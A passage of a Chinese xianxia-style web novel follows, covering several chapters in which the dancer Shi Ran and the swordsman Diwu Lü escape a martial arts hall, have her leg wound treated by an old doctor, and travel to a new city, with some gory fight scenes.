如果不是还要留着第五律的性命,那这一击的终点是第五律的脑袋。 那金里透银的铜球晃闪着第五律的眼睛,第五律下意识眯了眼。施燃扭头一看,忙拉扯第五律的身子,那枚金铜球没了最初的目的地,意料之外到达了它的第二目的地——施燃的大腿,“啊——”一声凄厉的尖叫惊起了杏树上栖息着的鸟雀。 血如水流从施燃大腿上淅沥滴下。 施燃双手抱住自己的大腿,嘴唇颤抖着,身子靠在第五律的背后。 又击退了数人。 “楚——施——”第五律声音嘶哑,反手扶住了施燃的腰,“别说话……你别说话……低下身来……”施燃低声说着,借力转身,双手抱住第五律的颈脖。 她喘着粗气,附耳问第五律:“你……背着我……打得过这些人吗?” 第五律点点头,眼睛冷若寒泉。 “那就好。”她依旧在第五律耳畔呢喃。 然后抬起头,穿过第五律的肩膀,大声道: “我刚刚问我们少爷,可不可以把爻气入体的秘笈交出来,我们少爷同意了。” 施燃盯着朱岭道:“但我们少爷有一个要求,这武功秘籍非常宝贵,不能让太多人知道。” “是不是该把这些无关紧要的人撤下。” 朱岭冷笑着:“小丫头片子,我把人撤了,你们就跑了,哪有这样的好事。得先抓到你们再说。” 施燃嘴唇紫白,额头冒汗,“少爷,等一会儿念秘笈吧。” 她环视周围侍卫和武生,“你们想想,若你们今天听到爻气入体的秘笈,哪还有活命的机会?朱馆主好不容易得到这秘笈,怎么能容忍你们这些无关紧要的人听到出去乱说,将好端端的秘笈变成随地可见的大白菜?他既然因为秘笈想对我们下毒手,未必不会对你们下毒手。你们没有背景也没有武功……下场,自然不必我多说……可能连我们也不如。”施燃对着朱岭挑衅一笑。 朱岭逐渐明白施燃的意图。 施燃依旧笑着,“如果你们想活命,后面最好把耳朵捂住哦。” 侍卫和武生面面相觑,他们内心明白施燃说的事情多半会发生,还不容他们多想。第五律的声音就在这院子里响起: “爻气入体之时,由脚——” 他们连忙双手捂住了耳朵,武器便拿不住了。 “走,第五律。”施燃忙道。 第五律背起施燃,冲向了门口。 就在这一刹那间。眼见这些武生不顶用,朱岭骂了句蠢猪就朝第五律冲过去,随之而来的还有几个武馆的精英弟子。 第五律以极快的速度一剑朝这些人头上劈下去,有两人未躲过,脑子被劈开,血溅了第五律一身。 第五律面淋鲜血,夜色之中,如同阎王殿里走出的冷峻罗刹。他朝剩下的人冷冷一瞥,那些人顿时慌了神。就在这些人慌神的片刻,第五律一脚踢上一人的咽喉,咔嚓,那人的脑袋如熟了的西瓜般从脖子上滚落。 主事之人只剩下朱岭了。不,还有里面两股战战的龙雀。 第五律提起朱岭的头发,一拳拳揍向朱岭胸胸膛,将朱岭五脏六腑打得稀碎。 “钥……匙……”施燃有气无力说着。 第五律搜遍朱岭全身,将钥匙拿了出来,打开了大门。 再回头看时,龙雀已经消失不见。 “走吧。”施燃扯了扯第五律的袖子。 第五律凝视着施燃,岿然不动,施燃笑了笑,“第五少爷,让我先治伤好吗?” 第五律冷冷环视着那些武生,终是走了出门,将大门反锁,将钥匙从墙扔进院里。 不这么做,他怕会忍不住冲进门里杀人。 刚走出两步,施燃忙叫道: “等一下。” 她还有小猪舞没有跳。 第五律垂下头,“要治伤。” “第五少爷,我还没跳舞呢,先等会儿,你把我送回去吧。糟了,你把钥匙扔进去了。”施燃扭过头看着绝世武馆的高墙,戳戳第五律的肩膀,“你把我放到墙上去呗。” 第五 17. 治伤 《舞修的我是真的能拯救世界!》全本免费阅读 朱岭的死施燃并不知晓。 一墙之隔。 施燃拉开数据面板,直奔小猪舞熟练度看去。整张卡片已呈五颜六色,光芒四射。 [这是?]施燃不由得发出疑问。 [这张卡熟练度已满,已经封卡了,再怎么练,卡的效用也不会增加。]系统道。 [啧啧,绝世武馆的大家真给力。直接将熟练度拉满。我刚刚跳得很好吗?难道我在我不知道的地方超常发挥了?]施燃眼珠子上转,回想刚才的场景。 是哪个动作? 还是她的表情管理到位? 月亮渐渐隐去它的身形,为白日的到来退位。天幕由黑色褪为灰紫色,像一块被浆洗多次的掉色布料。 施燃身体贴在第五律的后背,跟随着第五律的背脊起伏。 她轻轻道:“我们先去找一家医馆吧。” 第五律手指被施燃大腿流出的血浸施,与水不同,血有温和的凝滞感,他托起施燃腿的手不由得微微蜷缩。 他的手总是很敏感。 将血的红色转变成了心情的红色。 他有些恼怒,“现在知道去找大夫了。”他语调冰冷,声音嘶哑,迈开步伐,侧目寻找着什么。 施燃笑道:“对不起,我错了,我下次再也不会这样了。” 第五律冷哼一声,嘴唇翕动,却再也说不出什么话来。 他们看到了第一家医馆。 第五律走上前去,一脚就要踹开时,施燃制止了他,“敲门吧。”她撑起身子,正要穿过第五律的肩膀敲,“咯吱”一声,门被打开了。 一垂髫小儿打着哈欠,肩上披着一块白布,手还保持着推拉状,抬头见一男子背着一女子,也不惊慌,扭头朝里一嚷: “爷爷,有客人来啦。” 不多时,里屋一阵衣物窸窣声,和几声咳嗽声,“谁啊,大清早的扰人清梦,不等老人家多睡一会儿,我好不容易才睡着。”从暗屋中透出一点烛光,一白胡子老头披着外袍,趿拉着鞋出来了。 他将手中的油灯提高,凑近门。 昏黄的灯光将施燃与第五律两人模糊地照出形来。 老头上下逡巡着两人,注意到施燃的大腿,“哼”了一声,“逞凶斗勇之徒,活该。” “将门关了,进来吧。” 施燃笑着说了一句多谢。 第五律背着施燃进了屋,施燃后手将门关了。他将施燃放到了木榻上,这木榻渍迹般般,非常陈旧,一看就是经年使用。 第五律皱眉,“你先别躺下。”说着,他从怀里摸出一踏丝绸绢巾,一块块整齐铺好,看了半晌,还是摇头。 老头没好气道:“如果觉得寒舍委屈你们了,你们大可另请高明。” 施燃连忙乖乖躺下,盯着老头,“大夫,我大腿受伤了,血一直流,你给我瞧瞧吧。” 老头蹲下身,仔细查看一阵,手一摆,“拿剪刀来。”好一会儿,手上还没东西,他转头怒斥第五律: “榆木脑袋,没点儿眼力劲。” 施燃捂嘴偷笑。 第五律脸红一阵白一阵,手脚不知放在什么地方,“剪刀在哪里。” 老头吹胡子瞪眼,门被刚才的小孩子推开,老头转过头,“用不着你了。” “——小福,”他语调拖得长长的,“去把剪刀给我拿来。” 小福哒哒跑向柜子,不过一刻钟,手里就捧着一个木盒子,又哒哒跑向白胡子老头处。 “爷爷,这里有剪刀,小酒坛,蜡烛,金疮药,还有火折子,剪刀用不用我烤一会儿。” “不用。”老头拿出剪刀,那剪刀光滑无锈,看起来锋利得很。他让施燃大腿放直,然后按住施燃的大腿,将与血肉粘连在一起的衣衫剪碎,一点点的挑出来。 金属质感的冰凉如一条长蛇缓缓爬过施燃的大腿,剪刀尖就如蛇的獠牙,碰触着施燃的烂肉,欲咬掉——当然是没有咬的。 “放轻松些,小姑娘,老头子我啊,好歹也干了四十年,别怕。” 听了老头的话,施燃这才反应过来,她的大腿已经紧绷得不像话。 而在一旁的第五律,也与施燃一样,身体紧绷得不像话。 天边渐渐露出鱼肚白,小福熄掉了油灯。 带着污血的衣衫已被剪掉。 老头在观察着伤势,他拿起金疮药倒向伤口,一刹那间,那金疮药的粉末变得更细,似被什么东西碾碎然后弹开,在空中扬起了一层雾。 老头顿时连连咳嗽不止,小福担忧地看着他,好半天,他才止住咳咳声,出言道: “这是中毒了?”虽然在发问,但神情似在自言自语,他又咳嗽两声,立即自己接过话来,“不像啊……什么毒是这样的?” 他倒了一滴水上去,这滴水泛起了水波 18. 药丸 《舞修的我是真的能拯救世界!》全本免费阅读 第五律走后,施燃朦朦胧胧地睡了过去。她睡得并不好,爻气逐渐入侵到她的肌骨中,疼痛如雨后萌芽的种子般,丝丝缕缕扎根到她的血肉中。她梦见自己被泰迪追杀,被一只拖鞋追杀,被试卷追杀,被咆哮声追杀—— 喵~ 温热的肉球踩到她的手腕上。 乌发被象牙白般的爪子拉扯。 喵~ 霓虹色的日光涂抹到睫羽上,眼皮晃动,施燃翻身,懵懵懂懂地醒过来了。 掀开眼皮,梨花正坐在她的手腕上,玩着她的头发。听到身侧的动静,梨花停止动作,肉球按上施燃的脸。 好萌啊——真的好萌啊——世界上怎么会有梨花这么萌的猫。 施燃按住梨花的头,猛得亲了几次。 梨花喵喵,不耐烦亮出利爪,面对此等寒光闪闪的威胁,施燃小心翼翼用指尖碰了一下,然后内心尖叫—— 就算是亮出利爪,梨花也好萌啊! 见施燃对自己的威胁无动于衷,梨花怒喵一声,一爪将施燃头下的枕头撕了个稀巴烂。 老头摇着竹编躺椅,半睁眼睛,慢悠悠道: “要赔钱的,等一会儿那小伙子回来了,你让他多给几两银子。” 施燃轻笑,“第五少爷给了那么多金子,大夫你送我一个枕头又何妨。” 老头咂巴嘴,舌头在口中做了八百个假动作,竟说不出话,最后只好佯怒,装模作样冷哼一声。 施燃按回梨花的利爪,抚摸着它,从头摸到尾,又从尾摸到头,梨花的脸上浮现迷醉的表情,躺着榻上任由施燃那只手在它身上为所欲为。 片刻后,施燃解下皮囊,喂梨花吃奶,梨花软成一摊猫饼,嘴巴不停地嘬嘬嘬。 午时的日光越发白,透过窗棂把这散发血腥味的暗室浸染成灰白色。 老头看着施燃,脸上露出奇怪的笑,问道: “你跟那小子是什么关系?” 施燃头也不抬,毫无遮掩地回道: “我是他的丫鬟。” 梨花已经吃饱,挺着肚子四肢散在榻上。 施燃紧好囊袋的楔子,又道: “这是我们一开始的关系。但后来一起经历了一些事,我觉得我们已经是朋友了吧,但我不知道他心里怎么想,也许他还当我是丫鬟。” 老头嘴巴大张,上半身离开竹椅,似弓绷起,“你真觉得你们是朋友?” 施燃纳闷抬头,“不然呢?还能是什么关系?知己吗?那一点也沾不上边啊,我够不上啊。” 老头转瞬间就摊在椅子上,嘀咕着,“那小子以后,可有得忙喽……” 施燃戳戳梨花的肚子,“大夫,你这里有没有治喉咙的药啊?” “药啊……” 小福推开门,手上提着藤蔓编制的食盒,正从外边进来,他五官乱飞,龇牙咧嘴,看起提得很费劲。施燃提起裙摆欲准备下床帮忙,被老头制止。 “若你真下床,这条腿就准备废了吧。我可不想那小子回来给我两脚。他踹门那力气够大的,老头子我啊,身体受不住。” 施燃止住动作,身体往里缩,脸上全是不好意思的神情。 小福拿出食盒里的几碟小菜、几个白胖的大馒头和一葫芦酒。他扭头看着施燃,“姐姐,谢谢你,我力气很大的,从没出过错。” 施燃讪笑两声,屋子里沉默着。 老头拈了几筷子,“你要治喉咙的药有什么用,我瞧着你喉咙没问题。”他一手弹开酒楔子,努嘴嘬起了酒。 施燃:“第五少爷他喉咙受伤了。” 酒液沾湿了老头的白胡子,“我瞧他喉咙也不像有问题啊。” “他昨晚声音还哑着……不管看起来有没有问题,还是先给他弄点药吧。” 老头嘴巴不停张合,话语被咀嚼声切割得支离破碎,“那好……吧……我给你弄一瓶四枝春丸……吃完饭就给你拿吧。” “嗯。” 随即屋子里吞咽声响起。 老头侧头看去,只见施燃直直盯着饭桌,他忙伸手用垂下的袖子挡住饭桌,“你不能吃,受伤了,先饿几顿。” 施燃又怔又愣,“这不科学。” 老头只当没听见施燃的话,拿了一大馒头到埋头苦吃的小福碗里,叮嘱道:“多吃点,吃快点。” 小福猛嚼馒头,嘴里含混不清道:“我刚才在孙三娘子那里拿小菜时,看到好多人围在绝世武馆门口,差役都来了……” 老头猛拍小福的头,“关你什么事,你只要吃好喝好睡好就行。” 施燃脸色黯淡了几分,脑袋垂着,不知在想什么。 一柱香后,两人吃完饭。老头抹了抹油汪汪的嘴,卷袖子开始收拾饭桌。小福下桌后被隔壁拿着蹴鞠的小孩叫出去玩。 老头一面捡碟碗,一面咳嗽。 施燃问着:“大夫,你说的这四枝春丸是什么味道的。” 老头白了施燃一眼,“药还能有什么味道,不过是苦味,怎么,那少爷小子吃个药还有讲究。咳……咳……” 施燃 19. 完蛋 《舞修的我是真的能拯救世界!》全本免费阅读 老头瞧着灶台边的盐罐子,低头揭开,里面盐呈黄黑色,甚为粗粝,已经很久没有用过了。一拨弄,里面有米粒大小的黑虫。 他脸上浮起不怀好意的笑,拿起盐罐子进了药房,找到药瓶,将里面的四枝春丸沾点水,倒入盐罐子,按住罐口疯狂摇动。 “这小子,你如果吃到虫的话,不要怪老头子我,谁叫你口味独特要裹盐。还有人惯得你!哼!” 老头将盐罐子里的四枝春丸倒进药瓶,封好瓶口,满意一笑。 随即走到前屋,将药瓶扔给施燃。施燃伸手接住药瓶,系到腰上。 “轰隆——” 一道巨雷在天际炸开。 施燃被唬了一跳。 厚实的阳光依然透过窗棂纸压到地面上。 晴朗的日子里,这声巨响来得很不平常。 她听到屋外有散乱的脚步声、疾快的车轱辘声,还有“快走”的吆喝声。 阳光猝然而逝。 整个屋子,转瞬间就没有一点光亮。 “这是怎么了?”施燃转头问老头。 老头狐疑瞧着施燃,“这几年都这样,如果起雷了,来厚云了,那么一定会——” 紫色的闪电霹雳射穿黑厚的云层,接过老头的话给了施燃回答。 那经脉状的闪电挂在窗棂上,如粘上一块不规则的紫雪花。霹雳哗啦,轰轰隆隆,忽闪忽现,叫人心颤。 紧接着,是倾盆的雨,砸在地面。 一点烛光在黑暗中忽闪,照亮了屋子,老头托着油灯,屋子里有三个人。 小福已经回来了,他怀里抱着竹鞠。 陡然间多了一个面孔,施燃被吓了一跳,“小福,你什么时候回来的。”她拍着胸口,惊魂未定。 “刚刚回来的,如果不是我跑得快,早就变成落汤鸡了。”小福如是回答,说完就跑进了厨房。 不到片刻,厨房里就传来小福的怒吼,“爷爷,你又把碗放到灶台里等我来洗。” 老头眼神游移,不做回答。 施燃有些担忧,第五律在这种天气还在悬崖上找草药,真的会没事吗? “轰——”雷又响了,而医坊的门,就着这雷声,被一脚踹开。 高大劲瘦的轮廓在门边显现,发尾、衣角的水连串淅沥滴下,耳边挂着几串圆弧。 “第五律——”施燃惊喜地叫着。 那轮廓移进屋,将手中灰紫色、形似鹰爪的草药扔给老头。 他点了一下头,“是我。” 少年英俊的眉眼在辉煌的烛光中清晰。 施燃瞧见有血从第五律袖子中蜿蜒而下,垂到指腹淅淅沥沥的滴落,混杂着雨水,在地上流成一泊。 老头子吼叫着,让第五律不要弄脏他的屋子。 第五律向他投去冷冷的一瞥,老头便偃旗息鼓,第五律接着道: “鹰草我已经找回来了,快去给她治伤。”他走到施燃跟前,凝神看着已经包扎的伤口,指尖碰触雪白的纱布,浅淡的红便在上面洇开。 “第五律……”施燃轻轻叫着他的名字,“你手上的伤,先让大夫给你包扎吧。” “不用。”他给出简短的回答,抖落下手上的血珠。 老头手上早已端了药盅,里面除了鹰草,还混杂着三七、牛膝等药,用捣药杵将药材研磨成粉后,便将药盅递给一旁的小福。 随后挤开榻前的第五律。 第五律眉尖微蹙。 老头“嘿嘿”笑了两声,然后给了第五律一张意味不明的笑脸。第五律还没咂摸出这老头的用意,老头便及时收回笑脸,低头解开施燃大腿上的纱布。 那块肉已然糜烂得不成样子。 老头神情微凝。 叹道:“亏你还能一声不吭。” “已经快伤到骨头了。” 他扭头对小福道:“弄冷水和酒来。” 小福哒哒走了,不过片刻,哒哒回来了,将东西放在地上。 老头用冷水洗净施燃那块糜烂的肉,迅速倾灌酒水。 施燃将嘶叫脱口而出。 “呜呜……疼……下手轻点……” 老头白了施燃一眼,“刚还说你不吭声呢。” 施燃依然叫着。 “那……呜……不是……啊……没做好……心理准备……” 豆大的汗珠从施燃脸侧滚落。 第五律听着她凄厉的嚎叫,心中难受至极,脑中一片空白,简直不知道自己能做什么,手足无措之下,他之后便做出了让施燃、老头、小福三人目瞪口呆的动作。 他从怀中扯出一条湿漉漉的丝绸手帕,急急塞到了施燃的嘴里。 “你这样就不会叫了。” 不叫就是不疼了。 施燃的确是不叫了。 烛火在一旁爆出噼啪声。 三人目光齐刷刷注视着第五律。不多久,老头便哈哈大笑,小福学着老头哈哈大笑。施燃扯出口中的丝绸帕子,笑意浮上了脸。 第五律紧握着拳头,耳根发红,似羞似恼道: “别笑了,没什么好笑的。” 于是笑意更甚。 欢声笑语之中,老头给施燃上完了药。 “好了,注意不要沾水,这几天不要走动。”老头下了医嘱,站起身,斜视着还在一旁僵直立着的第五律,拍拍他的肩膀,“到后厢房来,洗个澡,换身衣服吧。” 第五律瞧了施燃一眼,又一眼。 施燃还是在抿唇笑着。 第五律哼了一声,扭头跟着老头的背影走了。 到了后厢房。 老头给第五律找了内外的换洗之物,指 20. 离开 《舞修的我是真的能拯救世界!》全本免费阅读 电闪雷鸣,倾盆大雨,这一切持续半个小时就结束了。 又变成了艳阳天,屋外又有脚步声,摊贩们都陆陆续续出来了。 第五律从后厢房出来的时候,看到的就是这副情景,太阳光斑在女子脸上波动跳跃,女子手执乌黑的发梢逗弄那只名叫梨花、给人带来无穷无尽麻烦的小猫。 那只小猫在扑腾,嘴里发出孱弱的叫声。 女子也在学着它喵喵叫,然后噗嗤笑出声来。 或许是听到了什么动静,女子抬起头望过来。 “第五律——”女子嘴中发出欢喜的叫声,眼睛覆着一层水,亮得吓人。 他想到了那老头问他的话,你跟外边塌上的姑娘是什么关系? 紧握住跨在腰上的剑鞘,他的心情就如同施燃脸上的光斑一样,明灭不定起起伏伏。最终,他将那勃发的情绪按了下来。 “你要叫我第五少爷,不要直呼我的名字。”第五律如是说道。 “啊?”施燃歪了歪头,随即笑着对第五律招手,“第五少爷,你过来啊——” 第五律依言过去。 倚靠在门口的老头,在第五律看不见的地方白了他一眼。 心里嘀咕,说什么你要叫我第五少爷~别人招招手让你过去,你二话不说,不也还是过去了吗?还第五少爷,噫~ 第五律走到施燃塌前,低垂着头,冷冷问道: “你有什么事吗?” 施燃将手压了压,示意他将头压得更低些。见第五律一动不动,施燃出言: “第五少爷,头埋低一点。” “为何?” “你先别管,你只要低头就行了。”她又将手压了压。 第五律皱眉低头。 施燃又让他把嘴张开,说完便垂首解腰间的药瓶。 “你在做什么?”第五律又问。 “等一会儿你就知道了。”施燃将药瓶里的盐裹四枝春丸倒入掌心,抬头见第五律没按她说的做,她垂丧着脸,一副愁云惨淡的样子,“第五少爷,张开嘴嘛。” 她捏住一粒药丸,举到第五律眼前。 “给你吃这个,不会害你的。” 第五律撇过脸,不情不愿地张开了口。 施燃将盐裹四枝春丸放进他的嘴里,柔软的指腹碰上了柔软的唇,即便是一触即离,第五律还是绷紧了背。 “这是治喉咙的药。”施燃笑眼看他。 “我的喉咙已经好了,你不必做这些多余的事。”第五律冷冷淡淡回着。 “没办法嘛,”施燃执起第五律的手,将药瓶放到他的手掌中,“答应了你,要给你找大夫治喉咙的。” 裹着的盐粒在口腔中被一点点侵蚀,咸涩的滋味在舌尖上蔓延。 第五律咬碎了这粒药丸,吞咽下去。 有东西落到肚子里,有东西在心脏升出。 “你做的?”第五律问着,施燃有些疑惑。第五律的目光投落到她的脸上,“熟悉的味道。” 施燃嘿嘿一笑,“是我让大夫帮忙调的味,好吃吗?” “一般吧。”第五律站直了身子,“你做这件事,挺浪费时间的。” 施燃有些失落,陡然又高兴起来,仰望着第五律,“但还是好吃的,对吧。” 第五律不作回答。 施燃目光投向门口,见老头不知何时离开了,小声开口。 “第五少爷,我们买匹驴子赶紧走。绝世武馆的事情,好像已经有官家插手,再不赶紧走,我们会有麻烦的。” “你的腿?” “所以要买匹驴子,最好是有奶的母驴。”施燃揉揉梨花的头,“驴子走得又平又稳,母驴的话,还可以挤奶给梨花喝,倒是省了不少事儿。” 说着,施燃推了推第五律,“事不宜迟,快去买吧。” 第五律慢吞吞走了两步。 “快去啊。”施燃催促。 第五律转过头,应了一声,仍是刚才那副样子。 施燃瞧着第五律那副不疾不徐、茫茫然然的死样,急的没办法。 “快去——”要是她腿是好的,哪里用得着第五律这个路痴加生活白痴。 第五律似乎才听懂了施燃的话,脚步密了些,走出了门。 “唉……”施燃叹了一声。 “你干什么唉声叹气?”老头不知何又时倚在后屋门框,“你们要走了吗……别这样瞧着我,我刚过来,只听到你让那少爷小子买驴。” 老头叹了口气,重复了他的医嘱,意在劝阻施燃多休息几天。 施燃听到最后,只道了一声“多谢”。 老头知道她去意已决,便给了施燃几个瓷瓶,叮嘱道:“药一日换一次即可。” 施燃接过药瓶,收到包袱里。 老头抓着胡子,撇开头继续道:“我要去后院晒草药了,你跟那少爷小子走的时候记得关门……还有,那个事情,就那个事情,老头子我啊,谢谢你了。” 梨花喝了奶,力气又出来了,踮起脚尖不停抓施燃垂晃的发丝,荡秋千般吊来吊去,弄得施燃发根生疼。 施燃拍着梨花的头,扭头揶揄,“什么事情啊,值得有四十年工龄的白胡子大夫说谢谢。” 老头脸上的黄褐色褶皱里闷出一片红,“就……就……”他半晌说不出话来,最后以一个“哼”字作为结尾。 施燃发笑。 老头脸上的红由浅变深,大袖一挥,转身急匆匆进了后院。 梨花越来越过份了,开始撕咬施燃的头发。 见老头走了,施燃捏起梨花的后颈,将头发丝从梨花爪子、乳牙上解开,满面怒容对着梨花喵喵叫,试图教训它,谁知梨花也龇牙咧嘴对着施燃喵喵叫,很不服气的样子。 “你——”施燃拍了拍梨花的爪子,“真是不听话,下次再这样,就不给你喝奶。” “喵——”梨花亮出并不锋利的爪牙。 施燃来了劲,心知今天不把梨花的性子压下去,以后她只会沦为没有丝毫威严的铲屎官。 她裸袖揎拳。 一人一猫开始长达二个时辰的缠斗,比划的影子在墙上起起落落,时静时动。 直到太阳下山,施燃才突然反应过来第五律好像还没有回来。 连后院晒完药草的老头出去吃晚饭,见着施燃还半躺在塌上时,也会阴阳怪气问一句: “哟~怎么还没走啊~” 施燃一手 21. 哄骗 《舞修的我是真的能拯救世界!》全本免费阅读 施燃和第五律两人行了几日,在这期间,两人的吃穿住行由第五律一手包办。虽然第五律眼里没活,四体不勤五谷不分,但在施燃的悉心教导下,他勉勉强强没让施燃和他自己冷死、饿死、迷失在茫茫路上因找不到路力竭而死。 令施燃意外的是,第五律居然很有做菜天赋。 普普通通一条鱼,他能在没有任何调料的情况下,烤得外焦里嫩,鲜甜可口。 施燃入口的那一瞬间,那条鱼在清溪中自由欢悦的情形就跃然在脑中,她不由得闭眼说了声:“真香~” 这条鱼真是死得其所。 而第五律看施燃这副样子,张口尝试,还未咽下,便将鱼肉哕了出来,感叹一句:“真难吃。” 跟他家里做的饭一样难吃。 第五律瞧着施燃,心想,也不知楚施燃的腿多久能好,多久能开始接手做饭活计。 因施燃每日要换多次药,他们便走走停停。 停下来时,第五律就喂梨花。几日前经过两个小时的缠斗,梨花已经是施燃的手下败将,它在施燃手里乖乖的,在第五律手里就是一颗有着几多心眼的定时炸弹。 第五律辛辛苦苦,满头大汗,被驴尥蹶子后挤完奶,当着施燃面喂梨花时,梨花就是只会喵猫卖萌的软绵小可爱,而只要施燃目光稍有移开,梨花的利爪便亮出来,对着第五律的手就是一爪子。及到施燃目光转回,它便伸出舌头眯眼舔舔自己的肉垫,萌得施燃心肝乱颤。 第五律对此没有表示。 他还不懂什么是心机。 就这样,两人一猫一驴行至一座城市。 施燃一眼就瞧出这城市的不平凡。 城墙由灰青色砖石垒成,城门洞开,城墙上还有二层城楼,檐角四飞,远远望去,就如一只欲展翅而飞的鹤。 最重要的是,两旁有数个身着皮甲的护卫值守,检查来来往往行人的文碟。 施燃瞧着,有些担心,她没有文碟,在这个世界上还没有身份,低头看向第五律,见第五律步履依旧,脸上没有丝毫波澜,心中揣度,第五律应该是有文碟的吧。 第五律不紧不慢牵着驴过去,护卫交戟拦住了他,伸出手来向他索要文碟。 就算护卫不言语,按理来说,第五律应该懂护卫的意思。 但第五律紧锁眉头看向护卫,护卫不甚耐烦,呵斥他,让他快点拿出来。第五律摸向袖口,拿出一锭金子放到护卫手里。 护卫顿时变了脸色,因生气而胀红的脸变得春风和煦,既而给其余护卫使了个眼色,护卫们收回戟,让两人过去了。 进入城内,人声鼎沸,路两旁有卖杂货的、卖书画、玩百戏、擂台比武的,甚是喧闹。 施燃悄声问第五律:“你没有文碟吗?” 第五律扭头问:“什么是文碟。” 施燃再次被第五律给弄无语了。 “那你刚才是因为没有文碟,给金子让那些护卫们放你一马吗?” 第五律脸上浮现出微妙的得意,“他们伸手就是朝我要钱,向我索贿,这我知道。” 施燃“啧”了一声,连忙转移话题,“刚进城门时我看见有擂台比武,你要去吗?” 第五律道:“我也看见了,他们脚步虚浮,四肢无力,连绝世武馆的人都不如,当不起我的对手。” 施燃点头,表示赞同。 又行了数百米,日头正毒,两人皆汗流浃背,见路旁有卖凉茶的,施燃打发第五律买来解渴。 第五律松了缰绳,靠近摊位,要了两碗凉茶。 岂料突然间一人被打得破墙而出,直挺挺砸在路中间,砖屑四溅,腾起一团烟雾,周围的人显然已经见怪不怪,都很平静的收拾东西,将摊子挪远一些。 施燃睁圆了双眼。 不愧是大城市,一来就是个大场面。 待烟雾散去,那人坐在地上,鼻青脸肿,嘴角溢血。 “想找我们青蛇武馆的麻烦,真是自取其辱。”墙内平地响起粗犷的声音,一五官端正,高大强壮的汉子从墙洞走出。 他紧捏着拳头。 对着坐在地上的人大喝道: “滚——” 那人面目狰狞,眼中含着怨毒,“好好好,你们青蛇武馆敢这样对我,休怪我不顾你们馆主的情面。” 强壮汉子不屑一顾: “你还是先考虑自己能不能完完整整走出这条街吧。” 那人眼中射出精光,双手一晃,数十支如牛毛的银针就朝那牛高马大之人射去。 牛高马大之人眼疾手快,大袖在半空中转了一个圈,就将那银针弹开。 可在一旁的施燃就倒了大霉,有一支银针被弹扎在了驴腿上,母驴吃疼,横冲直撞,踏碎了那些摊贩物什。 施燃在驴背上东倒西歪,不得不紧抱驴脖子,防止自己跌落,嘴中大叫着。 “第五律——救命——” 第五律欲上前营救,可那牛高马大之人听到施燃的求救声,疾步上前,三下五除二就制服了母驴,让母驴安静了下来。 施燃长吐一口气,松了驴脖子,“谢谢……” 那人见着施燃的脸,眼前一亮,忙抱着拳道:“在下孙平乐,敢问姑娘芳名。” “施燃。”施燃回道。 孙平乐笑眯了眼,见施燃额头冒汗,连到街边买了一碗凉茶和一把青绸伞。伞给施燃撑着,碗递给了施燃,“施姑娘不嫌弃的话,就喝了吧。” 施燃眼神游移到不远处第五律青灰色的脸上,第五律手上还端着两碗凉茶。 施燃笑着拒绝了,“凉茶已经有人买了,多谢孙公子的好意。” 孙平乐摸着自己的头,不好意思道:“别叫我孙公子,姑娘叫我平乐就好。” 第五律走上前来,把孙平乐挤开,将凉茶硬邦邦递给施燃,语调生冷,“喝了。” 施燃渴得不行,接过碗来仰天灌着凉茶。 第五律乜斜着孙平乐,见孙平乐那副盯着施燃满面生光的样子,冷哼了一声。 施燃一口气喝完凉茶,将空碗递给第五律,谁知第五律还未伸手,孙平乐一手接过,笑问:“施姑娘,还渴吗?” “不渴了。”施燃回道。 孙平乐开始明里暗里打探施燃的情况,得知她没有夫家,更加殷勤了。 施燃提出想找个客栈。 孙平乐赔了那些摊贩钱,便便牵着缰绳,将施燃带到了一外表华贵的客栈前,还叮嘱客栈老板施燃的花销记他账上。 第五律在身后又发出一声冷哼。 施燃开口:“孙公子,让你帮忙找客栈已经是麻烦你了,怎可劳你耗费资财呢?” 一旁的掌柜帮腔,“姑娘,这你可就杞人忧天了,孙公子是我们这儿有名的富户,你啊,再怎么花,也花不了他几个钱的。” 施燃皱眉,“这还是不妥。” 孙平乐欲劝,第五律拿出一锭金子砸在掌柜桌前,“最好的包厢,两间,有问题吗?” 掌柜的被吓得一激灵,手抖了两下,收了金子,“没……没问题……两位客官,里面请。” 施燃扭头向孙平乐道谢,还未等说上半句话,第五律翻身上驴将施燃从驴上抱下,大踏步走进客栈,没办法,施燃只能透过第五律的胳肢窝双手合十,对孙平乐漏出歉意的微笑。 孙平乐摸着自己后脑勺,一脸傻笑。 小二将第五律引到厢房,打开房门。第五律走进去,施燃顺手关了门。就在关门的那一瞬间,施燃惊呼起来: “完蛋了,我忘了给白胡子大夫关门 22. 杠铃 《舞修的我是真的能拯救世界!》全本免费阅读 打开面板。 力:1.9 速:2.2 耐:2.5 她的力、速、耐距离上次看,已经分别增加了0.1、0.2、0.3,这样看来,应该抓紧补短板,锻炼力气了。 施燃盘坐在床上,心里想着。又琢磨了一阵,现代人练力气,用的方法是撸铁。可这里没铁给她撸,施燃环视着房间,那她要不要定做个杠铃。 施燃张口,欲喊小二。但转念一想杠铃这东西这世界没有,小二可能无法完全转诉自己的需求,便闭了嘴。 她低头解开腿上的绷带,揭开纱布,见纱布上没有染上红色和黄色,心里先喜了几分,再仔细一瞧伤口,已经结疤了。 她试着动了动大腿,没有疼痛撕扯,她一脚先落了地,扶着床沿站了起来,走了两步,虽然还有些阴疼,但比起前几天完全走不了路,已经好太多了。 施燃抱起梨花下楼,向小二问了路,就去了武器坊。 那武器坊坐落在这座城市最繁华的街巷上,门口不时有人进出,牌匾上鲜红地写着三个大字——万器坊,里面闷着咚咚咚的金属捶打声。 施燃走了进去。 里面非常简朴,若仔细瞧,地板缝里还有灰屑。墙面挂着刀、枪、剑、戟、匕首、鞭子,还有一些施燃叫不上名字的东西,一片肃杀之气。 那些客人都在墙面前盘旋着,挑选合适的武器。 施燃朝里一叫,“有人吗?”又扯开嗓门吼了两嗓子。 无人回答。 施燃朝里走了两步,正准备敲开那扇黑黝黝的大门,门被打开了,面前的人高有二米,肌肉虬结,投下的阴影将施燃笼罩,震慑力惊人,施燃不由得后退半步。 那人开口:“有事吗?” 声如洪钟,震得施燃耳膜都快碎了。 “我想找你打样东西。”施燃说着,在那人声音的映衬下,显得声若蚊蝇。 施燃将自己的需求说了。 那人道:“你这不难。” 他将施燃带至一偏厅坐下,让人上了茶。 “但我有更好的办法。”他抬手灌了一碗茶。 “依姑娘所言,你这东西是用来锻炼力气。但随着你力气逐渐增长,这东西的用处便会越来越小。不若打造一个可以随意变幻重量的武器。” 施燃本来只想将杠铃当做一段时间用品,没想到这人将这杠铃的核心问题讲了出来,便大有意动,眼前一亮。 那人报了姓名:“鄙人刘海峰,姑娘叫我刘老板就行了。” 刘海峰又将施燃带到一个狭小的屋子,这屋子里到处都是铁块。 